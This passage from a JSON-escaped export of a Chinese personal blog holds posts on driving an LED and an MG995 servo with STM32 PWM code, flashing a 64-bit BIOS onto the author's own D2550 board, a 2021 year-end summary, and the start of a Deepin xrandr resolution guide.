punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由弱变强\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用库函数改变 TIM3 通道1 PWM 的占空比\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//延时\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"大概效果\"\u003e\u003ca href=\"#大概效果\" class=\"headerlink\" title=\"大概效果\"\u003e\u003c/a\u003e大概效果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"/img/posts/mg995/1.gif\" alt=\"1\"\u003e\u003c/p\u003e\u003ch3 id=\"驱动MG995舵机\"\u003e\u003ca href=\"#驱动MG995舵机\" class=\"headerlink\" title=\"驱动MG995舵机\"\u003e\u003c/a\u003e驱动MG995舵机\u003c/h3\u003e\u003cp\u003e这玩意具体参数可以去参考的博客去看\u003c/p\u003e\u003ch4 id=\"控制原理\"\u003e\u003ca href=\"#控制原理\" class=\"headerlink\" title=\"控制原理\"\u003e\u003c/a\u003e控制原理\u003c/h4\u003e\u003cp\u003e舵机的控制一般需要一个20ms的时基脉冲,该脉冲的高电平部分一般为0.5ms~2.5ms范围内的角度控制脉冲部分。以180度角度舵机为例,那么对应的控制关系是这样的:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e0.5ms————–0度;\u003cbr\u003e1.0ms————45度;\u003cbr\u003e1.5ms————90度;\u003cbr\u003e2.0ms———–135度;\u003cbr\u003e2.5ms———–180度;\u003c/p\u003e\u003c/blockquote\u003e\u003cimg src=\"https://img-blog.csdn.net/20180129143043496?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaGVfX3l1YW4=\" style=\"zoom:67%;\" /\u003e\u003cp\u003e既然前面已经配置好时钟了,可以直接写代码了\u003c/p\u003e\u003cp\u003e调上面的角度转换成对应高电平部分\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 对应角度 0 45 90 135 180\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 TIM3 通道1的 PWM 模式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e所以主函数为\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省了略各种初始化函数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 先正转,再反转\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 更新CCR1值,直接用寄存器操作\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延时,等舵机转过去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e--\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"转动效果\"\u003e\u003ca href=\"#转动效果\" class=\"headerlink\" title=\"转动效果\"\u003e\u003c/a\u003e转动效果\u003c/h4\u003e\u003cp\u003e对了如果发现不转记得检查一下供电,最好插上电源线再测试。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/mg995/2.gif\" alt=\"2\"\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/cac5/"},{"title":"D2550刷64位BIOS记录","time":"2022-05-01T17:20:28Z","content":"\u003ch1 id=\"D2550-刷64位BIOS记录\"\u003e\u003ca href=\"#D2550-刷64位BIOS记录\" class=\"headerlink\" title=\"D2550 刷64位BIOS记录\"\u003e\u003c/a\u003eD2550 刷64位BIOS记录\u003c/h1\u003e\u003cp\u003e早知道,还是软路由 \u003cspa\u003chr /\u003e\u003ch1 id=\"D2550-刷64位BIOS记录\"\u003e\u003ca href=\"#D2550-刷64位BIOS记录\" class=\"headerlink\" title=\"D2550 刷64位BIOS记录\"\u003e\u003c/a\u003eD2550 刷64位BIOS记录\u003c/h1\u003e\u003cp\u003e早知道,还是软路由 \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1x441147zn?spm_id_from=333.880.my_history.page.click\"\u003e芯片级硬解64位系统限制!免费帮助网友解除d2550主板64位系统限制!刷bios轻松解决_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://yiniot.com/archives/48/\"\u003e编程夹刷写魔改BIOS ZTE CT320(D2550 cpu)支持64位系统 - 算云烟 (yiniot.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"0x00\"\u003e\u003ca href=\"#0x00\" class=\"headerlink\" title=\"0x00\"\u003e\u003c/a\u003e0x00\u003c/h3\u003e\u003cp\u003e目前的网络使用 k2p + N1 使用,比较碰巧这几天有个学弟在出 x86 软路由,就顺手收了过来\u003c/p\u003e\u003cp\u003eU 是 D2550 ,内存 ddr3 2G ,刚好垃圾之前捡的比较多(因为我刚进校的本子是 ddr3 内存),挑了一根4g 的顺便升级一下,至于硬盘多大,已经不重要了…… \u003cdel\u003e(因为后面我线接错给烧了)\u003c/del\u003e\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/2.webp\" alt=\"2\" style=\"zoom: 33%;\" /\u003e\u003ch3 id=\"0x01\"\u003e\u003ca href=\"#0x01\" class=\"headerlink\" title=\"0x01\"\u003e\u003c/a\u003e0x01\u003c/h3\u003e\u003cp\u003e拿到手头试了试,速度还不错\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/6.png\" alt=\"6\" style=\"zoom: 67%;\" /\u003e\u003cp\u003e然后想顺便在 docker 里装一个 clash 顺便把我 N1 的活也代替了,但是安装的时候提示不支持……查了一下发现因为这玩意是32 位 BIOS ,但是我不晓得我这是个啥板子……看了点相关博客,决定赌一个 \u003ccode\u003e占美、实达D2550-64BIOS\u003c/code\u003e ,借了个编程器,开始我第一次刷这玩意\u003c/p\u003e\u003ch3 id=\"0x02\"\u003e\u003ca href=\"#0x02\" class=\"headerlink\" title=\"0x02\"\u003e\u003c/a\u003e0x02\u003c/h3\u003e\u003cp\u003e先把主板拆出来,发现他的 BIOS 芯片在散热旁边,用夹子夹好一直识别不成功……于是决定拆下来,但是散热器挡着得先拆散热,就想着顺便把硅脂也换了。属于是歪打正着,这玩意硅脂已经硬的离谱了,我清理了半天才下来……\u003c/p\u003e\u003cp\u003e拆下来就这小玩意\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/3.jpg\" alt=\"3\" style=\"zoom:50%;\" /\u003e\u003cp\u003e整之前电脑上先把该装的 \u003cstrong\u003e驱动\u003c/strong\u003e 装了。\u003c/p\u003e\u003cp\u003e夹到夹子用 CH341A 识别挺快,先把原来的 BIOS 读取出来备份,然后按教程里的选 BIOS 刷入,但是我这一直报错\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/4.jpg\" alt=\"4\" style=\"zoom: 80%;\" /\u003e\u003cp\u003e试了好多次还是寄,我以为是夹子的锅,又把这玩意焊到了编程器了,但还是寄。\u003cspan class=\"diana_bengbuzhule\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e经过一番搜索,找到了大概原因是因为有的这玩意有保护,换用 \u003cstrong\u003e\u003ccode\u003eAsProgrammer\u003c/code\u003e\u003c/strong\u003e 刷入,非常顺利\u003c/p\u003e\u003cp\u003e最后开机查看BIOS,屏幕轻松点亮\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/5.webp\" alt=\"5\" style=\"zoom: 33%;\" /\u003e\u003ch3 id=\"一点小状况\"\u003e\u003ca href=\"#一点小状况\" class=\"headerlink\" title=\"一点小状况\"\u003e\u003c/a\u003e一点小状况\u003c/h3\u003e\u003cp\u003e)为什么莫得硬盘呢……纠结了半天最后发现是把电源线接错地方了\u003c/p\u003e\u003cp\u003e然后赶紧换了过来,好家伙一插上就关机……\u003c/p\u003e\u003cp\u003e烧咯……\u003cspan class=\"diana_qiaoda\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e画了60买了新盘,血亏\u003c/del\u003e\u003c/p\u003e\u003chr\u003e\u003cp\u003e寄,买来硬盘要注意电源线的线序啊,差点又给我烧了。但是线坏了,又得花钱买线了……\u003c/p\u003e","url":"https://blog.ksfu.top/posts/1eaf/"},{"title":"2021_Summary","time":"2021-12-31T06:53:41Z","content":"\u003ch1 id=\"2021-年终总结\"\u003e\u003ca href=\"#2021-年终总结\" class=\"headerlink\" title=\"2021 年终总结\"\u003e\u003c/a\u003e2021 年终总结\u003c/h1\u003e\u003cp\u003e妈耶,一年这就结束了 ~ \u003c/p\u003e\n\u003cp\u003e今年过的算是不错,因为比较躺平所以也很容易\u003chr /\u003e\u003ch1 id=\"2021-年终总结\"\u003e\u003ca href=\"#2021-年终总结\" class=\"headerlink\" title=\"2021 年终总结\"\u003e\u003c/a\u003e2021 年终总结\u003c/h1\u003e\u003cp\u003e妈耶,一年这就结束了 ~ \u003c/p\u003e\u003cp\u003e今年过的算是不错,因为比较躺平所以也很容易满足~ \u003cdel\u003e(躺到写年终总结一时间不知道要写啥\u003c/del\u003e\u003c/p\u003e\u003cp\u003e学业方面差强人意?大一结束成绩没有很拉跨,得以在分流于后几名勉强进入通信工程专业。但是作为大类招生第一年的实验品,分流后这一学期学校课程安排的可以说非常拉跨,各种实验各种冲突各种大作业\u003cdel\u003ewdnmd\u003c/del\u003e。但好在还有一点自强不息的意识,身体挺好能熬夜,终于到了这学期结束。不过课程虽然拉跨但还是有合自己胃口的,单片机点亮个灯还是有意思的……不过大多数课真的是能混就混,然后天天早八对我这阴间作息的人来说属实离谱\u003cdel\u003e(怎么会是呢\u003c/del\u003e……\u003c/p\u003e\u003cp\u003e虽然没有太管得住嘴\u003cdel\u003e(还有缺德群友半夜发美食(我自己也发啊那没事了\u003c/del\u003e,但是腿倒是迈开了,每个月书院有一个5km马拉松的小活动,都参加了~虽然跑的挺慢\u003cdel\u003e(基本垫底)\u003c/del\u003e 但能跑下来还整挺好。体测虽然1km还差了几秒,但是过了 ~ 3km的成绩也在及格线里面了。体重只能说挺稳定……(不过这几天因为疫情只能待在宿舍,所以\u003cdel\u003e(xjb找理由就对了\u003c/del\u003e…… 身体健康!\u003cdel\u003e(20岁,四肢健全,大小便正常,下雨知道往家跑,一天可吃三顿饭,健康码绿色,未来可期!)\u003c/del\u003e\u003c/p\u003e\u003cdiv align=center\u003e \u003cimg src=\"/img/posts/2021Summary/1.png\" alt=\"1\" style=\"zoom:70%;\" /\u003e\u003c/div\u003e\u003chr\u003e\u003cp\u003e今年又认识了很多人\u003cdel\u003e(水群越来越勤快了)\u003c/del\u003e,又是被大伙继续关照的一年~也是兴趣爱好和技能继续扩展的一年。因为有大佬带飞,学到了挺多没接触过的东西。现在虽然没有学的很深入,但对于自己的一些想法总能曲曲折折找到一些实现的法子\u003cdel\u003e(让我也体验了一把收获的喜悦)\u003c/del\u003e。在交通群了解到了很多火车知识,顺便看时刻表发现平凉站一天十几趟车只有一趟不是25G……为了运转双层火车,将返校的车票分为两程,结果因为暴雨影响,第一趟车原路折返,改签之后遇到火车改道,在车上困了1天\u003cdel\u003e(一个难忘的国庆假期)\u003c/del\u003e。校庆纪念信封的发行,让我对集邮又有了更多的认识,顺便寄了不少纪念封给同学\u003cdel\u003e(邮政现在挺快哦\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e暑假上海之行,因为疫情影响,火车接二连三被取消……不过到达之后属实大开眼界,各种高架,地铁站十几个出口balabalabala……不过因为建设的比较早,大多数地铁还是挺旧,有的还没报站\u003cdel\u003e(或者是我没发现?\u003c/del\u003e,跑起来挺颠簸。参观了几个公司\u003cdel\u003e(微软园区真不错)\u003c/del\u003e,逛了南京路,看了东方明珠塔,黄浦江漫步,晚上组团上网吧\u003cdel\u003e(交大周围环境真好)\u003c/del\u003e……吃的挺好,就是贵是真贵。然后因为疫情也没有活动很大范围。地方确实挺好,魔都哦~不过回去之后给我健康码变黄了……还好核酸之后打电话给我变回来了。\u003c/p\u003e\u003cdiv align=center\u003e \u003cimg src=\"/img/posts/2021Summary/2.jpeg\" alt=\"1641069033334\" style=\"zoom: 50%;text-align: center;margin: 0 auto;\" /\u003e\u003c/div\u003e\u003chr\u003e\u003cp\u003e大伙都一个一个脱单了,真不错 ~ 然后今年寡了一年\u003cdel\u003e(女生也没认识几个emm\u003c/del\u003e,人也是一如既往的怂\u003cdel\u003e(?\u003c/del\u003e。水群水的的飞起,底下尬聊还是尬聊。祝大伙脱单的长长久久 ~ \u003cdel\u003e没脱单的看看我(男桐不要)\u003c/del\u003e\u003c/p\u003e\u003cp\u003e一年就这么没心没肺下来了 ~ 今年感谢大伙!然后新年继续努力,多水几篇博客,好好学习\u003cdel\u003e吧?\u003c/del\u003e脚踏实地,继续深入学习学习技能。坚持跑步\u003cdel\u003e(减肥\u003c/del\u003e。多找几本书看看,今年好像没看多少书emm\u003cdel\u003e(写个年终中总结都憋不出来几句骚话)\u003c/del\u003e。多看几部电影,多看几部纪录片,多看几场演唱会 ~ 继续维持和大伙的关系,多多联系 ~ 女朋友尽量尽量尽量找\u003cdel\u003e(万一呢)\u003c/del\u003e。少整点阴间作息。情绪少波动一点,虽然说不要想太多,但还是喜欢乱想\u003cdel\u003e(果然还是闲的\u003c/del\u003e。虽说难免走入低谷,还是希望新年能够平稳一些 ~ \u003c/p\u003e\u003cp\u003e\u003cem\u003e♫后知后觉,又过了一个秋~\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e祝大伙新年快乐,踔厉奋发,笃行不怠!愿疫情早日过去!祝福国泰民安!\u003c/strong\u003e\u003c/p\u003e\u003cdiv align=center\u003e \u003cimg src=\"https://i.loli.net/2021/04/18/OQWE5NkgnGXdD2C.jpg\" style=\"zoom: 83%;text-align: center;margin: 0 auto;\" /\u003e\u003c/div\u003e","url":"https://blog.ksfu.top/2021-Summary/"},{"title":"Deepin新增分辨率","time":"2021-10-09T14:04:03Z","content":"\u003ch1 id=\"Deepin-新增屏幕分辨率\"\u003e\u003ca href=\"#Deepin-新增屏幕分辨率\" class=\"headerlink\" title=\"Deepin 新增屏幕分辨率\"\u003e\u003c/a\u003eDeepin 新增屏幕分辨率\u003c/h1\u003e\u003cp\u003e因为最近同学送了半台 ThinkPad ,于\u003chr /\u003e\u003ch1 id=\"Deepin-新增屏幕分辨率\"\u003e\u003ca href=\"#Deepin-新增屏幕分辨率\" class=\"headerlink\" title=\"Deepin 新增屏幕分辨率\"\u003e\u003c/a\u003eDeepin 新增屏幕分辨率\u003c/h1\u003e\u003cp\u003e因为最近同学送了半台 ThinkPad ,于是拿来装了 Deepin ,但是发现并没有适合自己屏幕的分辨率。\u003c/p\u003e\u003cp\u003e自己动手搜索解决,记录一下过程。\u003c/p\u003e\u003ch3 id=\"添加分辨率\"\u003e\u003ca href=\"#添加分辨率\" class=\"headerlink\" title=\"添加分辨率\"\u003e\u003c/a\u003e添加分辨率\u003c/h3\u003e\u003cp\u003e先查看推荐的配置,加入 \u003ccode\u003e-r\u003c/code\u003e 可以尽可能的减少黑边\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我的显示\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 1920x1080 59.93 Hz (CVT 2.07M9-R) hsync: 66.59 kHz; pclk: 138.50 MHz\u003c/span\u003eModeline \u003cspan class=\"token string\"\u003e\"1920x1080R\"\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看输出的名字\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter 